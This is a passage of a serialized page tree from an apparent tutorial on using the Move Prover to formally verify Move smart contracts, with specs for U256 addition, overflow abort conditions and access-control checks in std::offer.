4",{"type":22,"tag":118,"props":13747,"children":13748},{"style":125},[13749],{"type":28,"value":801},{"type":22,"tag":118,"props":13751,"children":13752},{"class":120,"line":177},[13753],{"type":22,"tag":118,"props":13754,"children":13755},{"emptyLinePlaceholder":15},[13756],{"type":28,"value":250},{"type":22,"tag":118,"props":13758,"children":13759},{"class":120,"line":195},[13760,13764,13768],{"type":22,"tag":118,"props":13761,"children":13762},{"style":125},[13763],{"type":28,"value":5746},{"type":22,"tag":118,"props":13765,"children":13766},{"style":210},[13767],{"type":28,"value":11589},{"type":22,"tag":118,"props":13769,"children":13770},{"style":125},[13771],{"type":28,"value":13772},"]\n",{"type":22,"tag":118,"props":13774,"children":13775},{"class":120,"line":244},[13776],{"type":22,"tag":118,"props":13777,"children":13778},{"emptyLinePlaceholder":15},[13779],{"type":28,"value":250},{"type":22,"tag":118,"props":13781,"children":13782},{"class":120,"line":253},[13783,13787,13791,13795,13799],{"type":22,"tag":118,"props":13784,"children":13785},{"style":146},[13786],{"type":28,"value":3149},{"type":22,"tag":118,"props":13788,"children":13789},{"style":204},[13790],{"type":28,"value":5416},{"type":22,"tag":118,"props":13792,"children":13793},{"style":210},[13794],{"type":28,"value":837},{"type":22,"tag":118,"props":13796,"children":13797},{"style":674},[13798],{"type":28,"value":5074},{"type":22,"tag":118,"props":13800,"children":13801},{"style":125},[13802],{"type":28,"value":801},{"type":22,"tag":118,"props":13804,"children":13805},{"class":120,"line":263},[13806,13810,13814,13818,13822],{"type":22,"tag":118,"props":13807,"children":13808},{"style":1480},[13809],{"type":28,"value":13461},{"type":22,"tag":118,"props":13811,"children":13812},{"style":125},[13813],{"type":28,"value":842},{"type":22,"tag":118,"props":13815,"children":13816},{"style":204},[13817],{"type":28,"value":3613},{"type":22,"tag":118,"props":13819,"children":13820},{"style":210},[13821],{"type":28,"value":2197},{"type":22,"tag":118,"props":13823,"children":13824},{"style":125},[13825],{"type":28,"value":13826}," WORDS) {\n",{"type":22,"tag":118,"props":13828,"children":13829},{"class":120,"line":318},[13830,13834,13839,13843,13848,13852,13856,13860,13864,13868],{"type":22,"tag":118,"props":13831,"children":13832},{"style":146},[13833],{"type":28,"value":4152},{"type":22,"tag":118,"props":13835,"children":13836},{"style":204},[13837],{"type":28,"value":13838}," a1",{"type":22,"tag":118,"props":13840,"children":13841},{"style":210},[13842],{"type":28,"value":837},{"type":22,"tag":118,"props":13844,"children":13845},{"style":532},[13846],{"type":28,"value":13847}," get",{"type":22,"tag":118,"props":13849,"children":13850},{"style":125},[13851],{"type":28,"value":540},{"type":22,"tag":118,"props":13853,"children":13854},{"style":210},[13855],{"type":28,"value":1407},{"type":22,"tag":118,"props":13857,"children":13858},{"style":204},[13859],{"type":28,"value":42},{"type":22,"tag":118,"props":13861,"children":13862},{"style":125},[13863],{"type":28,"value":231},{"type":22,"tag":118,"props":13865,"children":13866},{"style":204},[13867],{"type":28,"value":3613},{"type":22,"tag":118,"props":13869,"children":13870},{"style":125},[13871],{"type":28,"value":682},{"type":22,"tag":118,"props":13873,"children":13874},{"class":120,"line":351},[13875,13879,13884,13888,13892,13896,13900,13904,13908,13912],{"type":22,"tag":118,"props":13876,"children":13877},{"style":146},[13878],{"type":28,"value":4152},{"type":22,"tag":118,"props":13880,"children":13881},{"style":204},[13882],{"type":28,"value":13883}," b1",{"type":22,"tag":118,"props":13885,"children":13886},{"style":210},[13887],{"type":28,"value":837},{"type":22,"tag":118,"props":13889,"children":13890},{"style":532},[13891],{"type":28,"value":13847},{"type":22,"tag":118,"props":13893,"children":13894},{"style":125},[13895],{"type":28,"value":540},{"type":22,"tag":118,"props":13897,"children":13898},{"style":210},[13899],{"type":28,"value":1407},{"type":22,"tag":118,"props":13901,"children":13902},{"style":204},[13903],{"type":28,"value":5243},{"type":22,"tag":118,"props":13905,"children":13906},{"style":125},[13907],{"type":28,"value":231},{"type":22,"tag":118,"props":13909,"children":13910},{"style":204},[13911],{"type":28,"value":3613},{"type":22,"tag":118,"props":13913,"children":13914},{"style":125},[13915],{"type":28,"value":682},{"type":22,"tag":118,"props":13917,"children":13918},{"class":120,"line":359},[13919],{"type":22,"tag":118,"props":13920,"children":13921},{"emptyLinePlaceholder":15},[13922],{"type":28,"value":250},{"type":22,"tag":118,"props":13924,"children":13925},{"class":120,"line":368},[13926,13930,13934],{"type":22,"tag":118,"props":13927,"children":13928},{"style":125},[13929],{"type":28,"value":5746},{"type":22,"tag":118,"props":13931,"children":13932},{"style":210},[13933],{"type":28,"value":11589},{"type":22,"tag":118,"props":13935,"children":13936},{"style":125},[13937],{"type":28,"value":13772},{"type":22,"tag":31,"props":13939,"children":13940},{},[13941],{"type":28,"value":13942},"Unrolling the function and running again the Move Prover will print out a \"Success\" message!",{"type":22,"tag":107,"props":13944,"children":13946},{"code":13945},"SUCCESS proving 1 modules from package `u256` in 9.685s\n{\n    \"Result\": \"Success\"\n}\n",[13947],{"type":22,"tag":114,"props":13948,"children":13949},{"__ignoreMap":7},[13950],{"type":28,"value":13945},{"type":22,"tag":31,"props":13952,"children":13953},{},[13954,13956,13961,13962,13968],{"type":28,"value":13955},"For the ",{"type":22,"tag":74,"props":13957,"children":13958},{},[13959],{"type":28,"value":13960},"Associative Property",{"type":28,"value":842},{"type":22,"tag":114,"props":13963,"children":13965},{"className":13964},[],[13966],{"type":28,"value":13967},"a+(b+c) = (a+b)+c",{"type":28,"value":13969},") to be true, changing the grouping of addends should not change the sum. To verify this, we will first implement a function which simulates this property:",{"type":22,"tag":107,"props":13971,"children":13973},{"code":13972,"language":111,"meta":7,"className":109,"style":7},"fun add_assoc_property(a: U256, b: U256, c: U256): bool {\n    let result_1 = add(b, c);\n    let result_11 = add(a, result_1);\n    let result_2 = add(a, b);\n    let result_22 = add(c, result_2);\n\n    let cmp = compare(&result_11, &result_22);\n    if ( cmp == EQUAL ) true else false\n}\n",[13974],{"type":22,"tag":114,"props":13975,"children":13976},{"__ignoreMap":7},[13977,14053,14092,14133,14172,14213,14220,14270,14309],{"type":22,"tag":118,"props":13978,"children":13979},{"class":120,"line":121},[13980,13984,13989,13993,13997,14001,14005,14009,14013,14017,14021,14025,14029,14033,14037,14041,14045,14049],{"type":22,"tag":118,"props":13981,"children":13982},{"style":204},[13983],{"type":28,"value":9115},{"type":22,"tag":118,"props":13985,"children":13986},{"style":532},[13987],{"type":28,"value":13988}," add_assoc_property",{"type":22,"tag":118,"props":13990,"children":13991},{"style":125},[13992],{"type":28,"value":540},{"type":22,"tag":118,"props":13994,"children":13995},{"style":204},[13996],{"type":28,"value":42},{"type":22,"tag":118,"props":13998,"children":13999},{"style":210},[14000],{"type":28,"value":213},{"type":22,"tag":118,"props":14002,"children":14003},{"style":131},[14004],{"type":28,"value":6741},{"type":22,"tag":118,"props":14006,"children":14007},{"style":125},[14008],{"type":28,"value":231},{"type":22,"tag":118,"props":14010,"children":14011},{"style":204},[14012],{"type":28,"value":5243},{"type":22,"tag":118,"props":14014,"children":14015},{"style":210},[14016],{"type":28,"value":213},{"type":22,"tag":118,"props":14018,"children":14019},{"style":131},[14020],{"type":28,"value":6741},{"type":22,"tag":118,"props":14022,"children":14023},{"style":125},[14024],{"type":28,"value":231},{"type":22,"tag":118,"props":14026,"children":14027},{"style":204},[14028],{"type":28,"value":5169},{"type":22,"tag":118,"props":14030,"children":14031},{"style":210},[14032],{"type":28,"value":213},{"type":22,"tag":118,"props":14034,"children":14035},{"style":131},[14036],{"type":28,"value":6741},{"type":22,"tag":118,"props":14038,"children":14039},{"style":125},[14040],{"type":28,"value":3627},{"type":22,"tag":118,"props":14042,"children":14043},{"style":210},[14044],{"type":28,"value":213},{"type":22,"tag":118,"props":14046,"children":14047},{"style":131},[14048],{"type":28,"value":1469},{"type":22,"tag":118,"props":14050,"children":14051},{"style":125},[14052],{"type":28,"value":1474},{"type":22,"tag":118,"props":14054,"children":14055},{"class":120,"line":142},[14056,14060,14064,14068,14072,14076,14080,14084,14088],{"type":22,"tag":118,"props":14057,"children":14058},{"style":146},[14059],{"type":28,"value":4152},{"type":22,"tag":118,"props":14061,"children":14062},{"style":204},[14063],{"type":28,"value":10196},{"type":22,"tag":118,"props":14065,"children":14066},{"style":210},[14067],{"type":28,"value":837},{"type":22,"tag":118,"props":14069,"children":14070},{"style":532},[14071],{"type":28,"value":11579},{"type":22,"tag":118,"props":14073,"children":14074},{"style":125},[14075],{"type":28,"value":540},{"type":22,"tag":118,"props":14077,"children":14078},{"style":204},[14079],{"type":28,"value":5243},{"type":22,"tag":118,"props":14081,"children":14082},{"style":125},[14083],{"type":28,"value":231},{"type":22,"tag":118,"props":14085,"children":14086},{"style":204},[14087],{"type":28,"value":5169},{"type":22,"tag":118,"props":14089,"children":14090},{"style":125},[14091],{"type":28,"value":682},{"type":22,"tag":118,"props":14093,"children":14094},{"class":120,"line":177},[14095,14099,14104,14108,14112,14116,14120,14124,14129],{"type":22,"tag":118,"props":14096,"children":14097},{"style":146},[14098],{"type":28,"value":4152},{"type":22,"tag":118,"props":14100,"children":14101},{"style":204},[14102],{"type":28,"value":14103}," result_11",{"type":22,"tag":118,"props":14105,"children":14106},{"style":210},[14107],{"type":28,"value":837},{"type":22,"tag":118,"props":14109,"children":14110},{"style":532},[14111],{"type":28,"value":11579},{"type":22,"tag":118,"props":14113,"children":14114},{"style":125},[14115],{"type":28,"value":540},{"type":22,"tag":118,"props":14117,"children":14118},{"style":204},[14119],{"type":28,"value":42},{"type":22,"tag":118,"props":14121,"children":14122},{"style":125},[14123],{"type":28,"value":231},{"type":22,"tag":118,"props":14125,"children":14126},{"style":204},[14127],{"type":28,"value":14128},"result_1",{"type":22,"tag":118,"props":14130,"children":14131},{"style":125},[14132],{"type":28,"value":682},{"type":22,"tag":118,"props":14134,"children":14135},{"class":120,"line":195},[14136,14140,14144,14148,14152,14156,14160,14164,14168],{"type":22,"tag":118,"props":14137,"children":14138},{"style":146},[14139],{"type":28,"value":4152},{"type":22,"tag":118,"props":14141,"children":14142},{"style":204},[14143],{"type":28,"value":10221},{"type":22,"tag":118,"props":14145,"children":14146},{"style":210},[14147],{"type":28,"value":837},{"type":22,"tag":118,"props":14149,"children":14150},{"style":532},[14151],{"type":28,"value":11579},{"type":22,"tag":118,"props":14153,"children":14154},{"style":125},[14155],{"type":28,"value":540},{"type":22,"tag":118,"props":14157,"children":14158},{"style":204},[14159],{"type":28,"value":42},{"type":22,"tag":118,"props":14161,"children":14162},{"style":125},[14163],{"type":28,"value":231},{"type":22,"tag":118,"props":14165,"children":14166},{"style":204},[14167],{"type":28,"value":5243},{"type":22,"tag":118,"props":14169,"children":14170},{"style":125},[14171],{"type":28,"value":682},{"type":22,"tag":118,"props":14173,"children":14174},{"class":120,"line":244},[14175,14179,14184,14188,14192,14196,14200,14204,14209],{"type":22,"tag":118,"props":14176,"children":14177},{"style":146},[14178],{"type":28,"value":4152},{"type":22,"tag":118,"props":14180,"children":14181},{"style":204},[14182],{"type":28,"value":14183}," result_22",{"type":22,"tag":118,"props":14185,"children":14186},{"style":210},[14187],{"type":28,"value":837},{"type":22,"tag":118,"props":14189,"children":14190},{"style":532},[14191],{"type":28,"value":11579},{"type":22,"tag":118,"props":14193,"children":14194},{"style":125},[14195],{"type":28,"value":540},{"type":22,"tag":118,"props":14197,"children":14198},{"style":204},[14199],{"type":28,"value":5169},{"type":22,"tag":118,"props":14201,"children":14202},{"style":125},[14203],{"type":28,"value":231},{"type":22,"tag":118,"props":14205,"children":14206},{"style":204},[14207],{"type":28,"value":14208},"result_2",{"type":22,"tag":118,"props":14210,"children":14211},{"style":125},[14212],{"type":28,"value":682},{"type":22,"tag":118,"props":14214,"children":14215},{"class":120,"line":253},[14216],{"type":22,"tag":118,"props":14217,"children":14218},{"emptyLinePlaceholder":15},[14219],{"type":28,"value":250},{"type":22,"tag":118,"props":14221,"children":14222},{"class":120,"line":263},[14223,14227,14231,14235,14240,14244,14248,14253,14257,14261,14266],{"type":22,"tag":118,"props":14224,"children":14225},{"style":146},[14226],{"type":28,"value":4152},{"type":22,"tag":118,"props":14228,"children":14229},{"style":204},[14230],{"type":28,"value":9865},{"type":22,"tag":118,"props":14232,"children":14233},{"style":210},[14234],{"type":28,"value":837},{"type":22,"tag":118,"props":14236,"children":14237},{"style":532},[14238],{"type":28,"value":14239}," compare",{"type":22,"tag":118,"props":14241,"children":14242},{"style":125},[14243],{"type":28,"value":540},{"type":22,"tag":118,"props":14245,"children":14246},{"style":210},[14247],{"type":28,"value":1407},{"type":22,"tag":118,"props":14249,"children":14250},{"style":204},[14251],{"type":28,"value":14252},"result_11",{"type":22,"tag":118,"props":14254,"children":14255},{"style":125},[14256],{"type":28,"value":231},{"type":22,"tag":118,"props":14258,"children":14259},{"style":210},[14260],{"type":28,"value":1407},{"type":22,"tag":118,"props":14262,"children":14263},{"style":204},[14264],{"type":28,"value":14265},"result_22",{"type":22,"tag":118,"props":14267,"children":14268},{"style":125},[14269],{"type":28,"value":682},{"type":22,"tag":118,"props":14271,"children":14272},{"class":120,"line":318},[14273,14277,14282,14286,14290,14295,14299,14304],{"type":22,"tag":118,"props":14274,"children":14275},{"style":1480},[14276],{"type":28,"value":2159},{"type":22,"tag":118,"props":14278,"children":14279},{"style":125},[14280],{"type":28,"value":14281}," ( ",{"type":22,"tag":118,"props":14283,"children":14284},{"style":204},[14285],{"type":28,"value":9930},{"type":22,"tag":118,"props":14287,"children":14288},{"style":210},[14289],{"type":28,"value":1780},{"type":22,"tag":118,"props":14291,"children":14292},{"style":125},[14293],{"type":28,"value":14294}," EQUAL ) ",{"type":22,"tag":118,"props":14296,"children":14297},{"style":146},[14298],{"type":28,"value":6007},{"type":22,"tag":118,"props":14300,"children":14301},{"style":1480},[14302],{"type":28,"value":14303}," else",{"type":22,"tag":118,"props":14305,"children":14306},{"style":146},[14307],{"type":28,"value":14308}," false\n",{"type":22,"tag":118,"props":14310,"children":14311},{"class":120,"line":351},[14312],{"type":22,"tag":118,"props":14313,"children":14314},{"style":125},[14315],{"type":28,"value":481},{"type":22,"tag":31,"props":14317,"children":14318},{},[14319],{"type":28,"value":14320},"Lastly, we want to create a spec block which aborts if the sum overflows, and ensures that the result of the function is true:",{"type":22,"tag":107,"props":14322,"children":14324},{"code":14323,"language":111,"meta":7,"className":109,"style":7},"spec add_assoc_property {\n    aborts_if (value_of_U256(a) + value_of_U256(b)) + value_of_U256(c) >= P64 * P64 * P64 * P64;\n    ensures result == true;\n}\n",[14325],{"type":22,"tag":114,"props":14326,"children":14327},{"__ignoreMap":7},[14328,14343,14447,14470],{"type":22,"tag":118,"props":14329,"children":14330},{"class":120,"line":121},[14331,14335,14339],{"type":22,"tag":118,"props":14332,"children":14333},{"style":204},[14334],{"type":28,"value":10278},{"type":22,"tag":118,"props":14336,"children":14337},{"style":204},[14338],{"type":28,"value":13988},{"type":22,"tag":118,"props":14340,"children":14341},{"style":125},[14342],{"type":28,"value":1474},{"type":22,"tag":118,"props":14344,"children":14345},{"class":120,"line":142},[14346,14350,14354,14359,14363,14367,14371,14375,14379,14383,14387,14391,14395,14399,14403,14407,14411,14415,14419,14423,14427,14431,14435,14439,14443],{"type":22,"tag":118,"props":14347,"children":14348},{"style":204},[14349],{"type":28,"value":11901},{"type":22,"tag":118,"props":14351,"children":14352},{"style":125},[14353],{"type":28,"value":842},{"type":22,"tag":118,"props":14355,"children":14356},{"style":532},[14357],{"type":28,"value":14358},"value_of_U256",{"type":22,"tag":118,"props":14360,"children":14361},{"style":125},[14362],{"type":28,"value":540},{"type":22,"tag":118,"props":14364,"children":14365},{"style":204},[14366],{"type":28,"value":42},{"type":22,"tag":118,"props":14368,"children":14369},{"style":125},[14370],{"type":28,"value":588},{"type":22,"tag":118,"props":14372,"children":14373},{"style":210},[14374],{"type":28,"value":3220},{"type":22,"tag":118,"props":14376,"children":14377},{"style":532},[14378],{"type":28,"value":11702},{"type":22,"tag":118,"props":14380,"children":14381},{"style":125},[14382],{"type":28,"value":540},{"type":22,"tag":118,"props":14384,"children":14385},{"style":204},[14386],{"type":28,"value":5243},{"type":22,"tag":118,"props":14388,"children":14389},{"style":125},[14390],{"type":28,"value":10838},{"type":22,"tag":118,"props":14392,"children":14393},{"style":210},[14394],{"type":28,"value":3220},{"type":22,"tag":118,"props":14396,"children":14397},{"style":532},[14398],{"type":28,"value":11702},{"type":22,"tag":118,"props":14400,"children":14401},{"style":125},[14402],{"type":28,"value":540},{"type":22,"tag":118,"props":14404,"children":14405},{"style":204},[14406],{"type":28,"value":5169},{"type":22,"tag":118,"props":14408,"children":14409},{"style":125},[14410],{"type":28,"value":588},{"type":22,"tag":118,"props":14412,"children":14413},{"style":210},[14414],{"type":28,"value":11942},{"type":22,"tag":118,"props":14416,"children":14417},{"style":131},[14418],{"type":28,"value":11658},{"type":22,"tag":118,"props":14420,"children":14421},{"style":210},[14422],{"type":28,"value":11815},{"type":22,"tag":118,"props":14424,"children":14425},{"style":131},[14426],{"type":28,"value":11658},{"type":22,"tag":118,"props":14428,"children":14429},{"style":210},[14430],{"type":28,"value":11815},{"type":22,"tag":118,"props":14432,"children":14433},{"style":131},[14434],{"type":28,"value":11658},{"type":22,"tag":118,"props":14436,"children":14437},{"style":210},[14438],{"type":28,"value":11815},{"type":22,"tag":118,"props":14440,"children":14441},{"style":131},[14442],{"type":28,"value":11658},{"type":22,"tag":118,"props":14444,"children":14445},{"style":125},[14446],{"type":28,"value":801},{"type":22,"tag":118,"props":14448,"children":14449},{"class":120,"line":177},[14450,14454,14458,14462,14466],{"type":22,"tag":118,"props":14451,"children":14452},{"style":204},[14453],{"type":28,"value":12199},{"type":22,"tag":118,"props":14455,"children":14456},{"style":204},[14457],{"type":28,"value":11158},{"type":22,"tag":118,"props":14459,"children":14460},{"style":210},[14461],{"type":28,"value":1780},{"type":22,"tag":118,"props":14463,"children":14464},{"style":146},[14465],{"type":28,"value":1537},{"type":22,"tag":118,"props":14467,"children":14468},{"style":125},[14469],{"type":28,"value":801},{"type":22,"tag":118,"props":14471,"children":14472},{"class":120,"line":195},[14473],{"type":22,"tag":118,"props":14474,"children":14475},{"style":125},[14476],{"type":28,"value":481},{"type":22,"tag":31,"props":14478,"children":14479},{},[14480],{"type":28,"value":14481},"Running move prover with the new specifications, we can confirm that there are no verification errors:",{"type":22,"tag":107,"props":14483,"children":14484},{"code":13945},[14485],{"type":22,"tag":114,"props":14486,"children":14487},{"__ignoreMap":7},[14488],{"type":28,"value":13945},{"type":22,"tag":31,"props":14490,"children":14491},{},[14492,14494,14501],{"type":28,"value":14493},"For a more complete document detailing Move Prover syntax, we recommend referring to ",{"type":22,"tag":42,"props":14495,"children":14498},{"href":14496,"rel":14497},"https://github.com/move-language/move/blob/main/language/move-prover/doc/user/spec-lang.md",[46],[14499],{"type":28,"value":14500},"spec-lang.md",{"type":28,"value":14502}," in the Move Repository.",{"type":22,"tag":23,"props":14504,"children":14506},{"id":14505},"use-cases",[14507],{"type":28,"value":14508},"Use Cases",{"type":22,"tag":31,"props":14510,"children":14511},{},[14512],{"type":28,"value":14513},"Formal verification can prove that a smart contract satisfies the given requirements for all possible cases without even running the contract. The hard part is coming up with the specifications.",{"type":22,"tag":31,"props":14515,"children":14516},{},[14517],{"type":28,"value":14518},"Here, we hope to explore some practical examples of possible verification ideas.",{"type":22,"tag":1289,"props":14520,"children":14522},{"id":14521},"error-conditions",[14523],{"type":28,"value":14524},"Error Conditions",{"type":22,"tag":31,"props":14526,"children":14527},{},[14528,14530,14536],{"type":28,"value":14529},"Taking an example from ",{"type":22,"tag":114,"props":14531,"children":14533},{"className":14532},[],[14534],{"type":28,"value":14535},"std::fixed_point32",{"type":28,"value":14537},", it's often useful to explicitly define when a function might abort. For example, arithmetic operations with fixed point numbers should only error if they overflow.",{"type":22,"tag":107,"props":14539,"children":14541},{"code":14540,"language":111,"meta":7,"className":109,"style":7},"      spec schema MultiplyAbortsIf {\n          val: num;\n          multiplier: FixedPoint32;\n          aborts_if spec_multiply_u64(val, multiplier) > MAX_U64 with EMULTIPLICATION;\n      }\n      spec fun spec_multiply_u64(val: num, multiplier: FixedPoint32): num {\n          (val * multiplier.value) >> 32\n      }\n",[14542],{"type":22,"tag":114,"props":14543,"children":14544},{"__ignoreMap":7},[14545,14566,14586,14607,14653,14661,14724,14763],{"type":22,"tag":118,"props":14546,"children":14547},{"class":120,"line":121},[14548,14552,14557,14562],{"type":22,"tag":118,"props":14549,"children":14550},{"style":204},[14551],{"type":28,"value":10929},{"type":22,"tag":118,"props":14553,"children":14554},{"style":204},[14555],{"type":28,"value":14556}," schema",{"type":22,"tag":118,"props":14558,"children":14559},{"style":131},[14560],{"type":28,"value":14561}," MultiplyAbortsIf",{"type":22,"tag":118,"props":14563,"children":14564},{"style":125},[14565],{"type":28,"value":1474},{"type":22,"tag":118,"props":14567,"children":14568},{"class":120,"line":142},[14569,14574,14578,14582],{"type":22,"tag":118,"props":14570,"children":14571},{"style":204},[14572],{"type":28,"value":14573},"          val",{"type":22,"tag":118,"props":14575,"children":14576},{"style":210},[14577],{"type":28,"value":213},{"type":22,"tag":118,"props":14579,"children":14580},{"style":204},[14581],{"type":28,"value":11731},{"type":22,"tag":118,"props":14583,"children":14584},{"style":125},[14585],{"type":28,"value":801},{"type":22,"tag":118,"props":14587,"children":14588},{"class":120,"line":177},[14589,14594,14598,14603],{"type":22,"tag":118,"props":14590,"children":14591},{"style":204},[14592],{"type":28,"value":14593},"          multiplier",{"type":22,"tag":118,"props":14595,"children":14596},{"style":210},[14597],{"type":28,"value":213},{"type":22,"tag":118,"props":14599,"children":14600},{"style":131},[14601],{"type":28,"value":14602}," FixedPoint32",{"type":22,"tag":118,"props":14604,"children":14605},{"style":125},[14606],{"type":28,"value":801},{"type":22,"tag":118,"props":14608,"children":14609},{"class":120,"line":195},[14610,14615,14620,14624,14629,14633,14638,14643,14648],{"type":22,"tag":118,"props":14611,"children":14612},{"style":204},[14613],{"type":28,"value":14614},"          aborts_if",{"type":22,"tag":118,"props":14616,"children":14617},{"style":532},[14618],{"type":28,"value":14619}," spec_multiply_u64",{"type":22,"tag":118,"props":14621,"children":14622},{"style":125},[14623],{"type":28,"value":540},{"type":22,"tag":118,"props":14625,"children":14626},{"style":204},[14627],{"type":28,"value":14628},"val",{"type":22,"tag":118,"props":14630,"children":14631},{"style":125},[14632],{"type":28,"value":231},{"type":22,"tag":118,"props":14634,"children":14635},{"style":204},[14636],{"type":28,"value":14637},"multiplier",{"type":22,"tag":118,"props":14639,"children":14640},{"style":125},[14641],{"type":28,"value":14642},") > MAX_U64 ",{"type":22,"tag":118,"props":14644,"children":14645},{"style":204},[14646],{"type":28,"value":14647},"with",{"type":22,"tag":118,"props":14649,"children":14650},{"style":125},[14651],{"type":28,"value":14652}," EMULTIPLICATION;\n",{"type":22,"tag":118,"props":14654,"children":14655},{"class":120,"line":244},[14656],{"type":22,"tag":118,"props":14657,"children":14658},{"style":125},[14659],{"type":28,"value":14660},"      }\n",{"type":22,"tag":118,"props":14662,"children":14663},{"class":120,"line":253},[14664,14668,14672,14676,14680,14684,14688,14692,14696,14700,14704,14708,14712,14716,14720],{"type":22,"tag":118,"props":14665,"children":14666},{"style":204},[14667],{"type":28,"value":10929},{"type":22,"tag":118,"props":14669,"children":14670},{"style":204},[14671],{"type":28,"value":8216},{"type":22,"tag":118,"props":14673,"children":14674},{"style":532},[14675],{"type":28,"value":14619},{"type":22,"tag":118,"props":14677,"children":14678},{"style":125},[14679],{"type":28,"value":540},{"type":22,"tag":118,"props":14681,"children":14682},{"style":204},[14683],{"type":28,"value":14628},{"type":22,"tag":118,"props":14685,"children":14686},{"style":210},[14687],{"type":28,"value":213},{"type":22,"tag":118,"props":14689,"children":14690},{"style":204},[14691],{"type":28,"value":11731},{"type":22,"tag":118,"props":14693,"children":14694},{"style":125},[14695],{"type":28,"value":231},{"type":22,"tag":118,"props":14697,"children":14698},{"style":204},[14699],{"type":28,"value":14637},{"type":22,"tag":118,"props":14701,"children":14702},{"style":210},[14703],{"type":28,"value":213},{"type":22,"tag":118,"props":14705,"children":14706},{"style":131},[14707],{"type":28,"value":14602},{"type":22,"tag":118,"props":14709,"children":14710},{"style":125},[14711],{"type":28,"value":3627},{"type":22,"tag":118,"props":14713,"children":14714},{"style":210},[14715],{"type":28,"value":213},{"type":22,"tag":118,"props":14717,"children":14718},{"style":204},[14719],{"type":28,"value":11731},{"type":22,"tag":118,"props":14721,"children":14722},{"style":125},[14723],{"type":28,"value":1474},{"type":22,"tag":118,"props":14725,"children":14726},{"class":120,"line":263},[14727,14731,14735,14739,14744,14748,14753,14758],{"type":22,"tag":118,"props":14728,"children":14729},{"style":125},[14730],{"type":28,"value":10712},{"type":22,"tag":118,"props":14732,"children":14733},{"style":204},[14734],{"type":28,"value":14628},{"type":22,"tag":118,"props":14736,"children":14737},{"style":210},[14738],{"type":28,"value":11815},{"type":22,"tag":118,"props":14740,"children":14741},{"style":204},[14742],{"type":28,"value":14743}," multiplier",{"type":22,"tag":118,"props":14745,"children":14746},{"style":210},[14747],{"type":28,"value":292},{"type":22,"tag":118,"props":14749,"children":14750},{"style":125},[14751],{"type":28,"value":14752},"value) ",{"type":22,"tag":118,"props":14754,"children":14755},{"style":210},[14756],{"type":28,"value":14757},">>",{"type":22,"tag":118,"props":14759,"children":14760},{"style":674},[14761],{"type":28,"value":14762}," 32\n",{"type":22,"tag":118,"props":14764,"children":14765},{"class":120,"line":318},[14766],{"type":22,"tag":118,"props":14767,"children":14768},{"style":125},[14769],{"type":28,"value":14660},{"type":22,"tag":1289,"props":14771,"children":14773},{"id":14772},"access-control-policies",[14774],{"type":28,"value":14775},"Access Control Policies",{"type":22,"tag":31,"props":14777,"children":14778},{},[14779],{"type":28,"value":14780},"Somewhat similar to error conditions, it's often useful to enforce explicit access control policies at the specification level.",{"type":22,"tag":31,"props":14782,"children":14783},{},[14784,14786,14792,14794,14799],{"type":28,"value":14785},"For example, in ",{"type":22,"tag":114,"props":14787,"children":14789},{"className":14788},[],[14790],{"type":28,"value":14791},"std::offer",{"type":28,"value":14793}," we are able to see that the function should abort if and only if there does not exist an offer, ",{"type":22,"tag":4764,"props":14795,"children":14796},{},[14797],{"type":28,"value":14798},"or",{"type":28,"value":14800}," the recipient is now allowed.",{"type":22,"tag":107,"props":14802,"children":14804},{"code":14803,"language":111,"meta":7,"className":109,"style":7},"    spec redeem {\n      /// Aborts if there is no offer under `offer_address` or if the account\n      /// cannot redeem the offer.\n      /// Ensures that the offered struct under `offer_address` is removed.\n      aborts_if !exists\u003COffer\u003COffered>>(offer_address);\n      aborts_if !is_allowed_recipient\u003COffered>(offer_address, signer::address_of(account));\n      ensures !exists\u003COffer\u003COffered>>(offer_address);\n      ensures result == old(global\u003COffer\u003COffered>>(offer_address).offered);\n    }\n",[14805],{"type":22,"tag":114,"props":14806,"children":14807},{"__ignoreMap":7},[14808,14825,14833,14841,14849,14895,14952,14995,15061],{"type":22,"tag":118,"props":14809,"children":14810},{"class":120,"line":121},[14811,14816,14821],{"type":22,"tag":118,"props":14812,"children":14813},{"style":204},[14814],{"type":28,"value":14815},"    spec",{"type":22,"tag":118,"props":14817,"children":14818},{"style":204},[14819],{"type":28,"value":14820}," redeem",{"type":22,"tag":118,"props":14822,"children":14823},{"style":125},[14824],{"type":28,"value":1474},{"type":22,"tag":118,"props":14826,"children":14827},{"class":120,"line":142},[14828],{"type":22,"tag":118,"props":14829,"children":14830},{"style":257},[14831],{"type":28,"value":14832},"      /// Aborts if there is no offer under `offer_address` or if the account\n",{"type":22,"tag":118,"props":14834,"children":14835},{"class":120,"line":177},[14836],{"type":22,"tag":118,"props":14837,"children":14838},{"style":257},[14839],{"type":28,"value":14840},"      /// cannot redeem the offer.\n",{"type":22,"tag":118,"props":14842,"children":14843},{"class":120,"line":195},[14844],{"type":22,"tag":118,"props":14845,"children":14846},{"style":257},[14847],{"type":28,"value":14848},"      /// Ensures that the offered struct under `offer_address` is removed.\n",{"type":22,"tag":118,"props":14850,"children":14851},{"class":120,"line":244},[14852,14856,14860,14864,14868,14873,14877,14882,14886,14891],{"type":22,"tag":118,"props":14853,"children":14854},{"style":204},[14855],{"type":28,"value":11053},{"type":22,"tag":118,"props":14857,"children":14858},{"style":210},[14859],{"type":28,"value":2164},{"type":22,"tag":118,"props":14861,"children":14862},{"style":204},[14863],{"type":28,"value":8713},{"type":22,"tag":118,"props":14865,"children":14866},{"style":125},[14867],{"type":28,"value":559},{"type":22,"tag":118,"props":14869,"children":14870},{"style":131},[14871],{"type":28,"value":14872},"Offer",{"type":22,"tag":118,"props":14874,"children":14875},{"style":125},[14876],{"type":28,"value":559},{"type":22,"tag":118,"props":14878,"children":14879},{"style":131},[14880],{"type":28,"value":14881},"Offered",{"type":22,"tag":118,"props":14883,"children":14884},{"style":125},[14885],{"type":28,"value":8735},{"type":22,"tag":118,"props":14887,"children":14888},{"style":204},[14889],{"type":28,"value":14890},"offer_address",{"type":22,"tag":118,"props":14892,"children":14893},{"style":125},[14894],{"type":28,"value":682},{"type":22,"tag":118,"props":14896,"children":14897},{"class":120,"line":253},[14898,14902,14906,14911,14915,14919,14923,14927,14932,14936,14940,14944,14948],{"type":22,"tag":118,"props":14899,"children":14900},{"style":204},[14901],{"type":28,"value":11053},{"type":22,"tag":118,"props":14903,"children":14904},{"style":210},[14905],{"type":28,"value":2164},{"type":22,"tag":118,"props":14907,"children":14908},{"style":204},[14909],{"type":28,"value":14910},"is_allowed_recipient",{"type":22,"tag":118,"props":14912,"children":14913},{"style":125},[14914],{"type":28,"value":559},{"type":22,"tag":118,"props":14916,"children":14917},{"style":131},[14918],{"type":28,"value":14881},{"type":22,"tag":118,"props":14920,"children":14921},{"style":12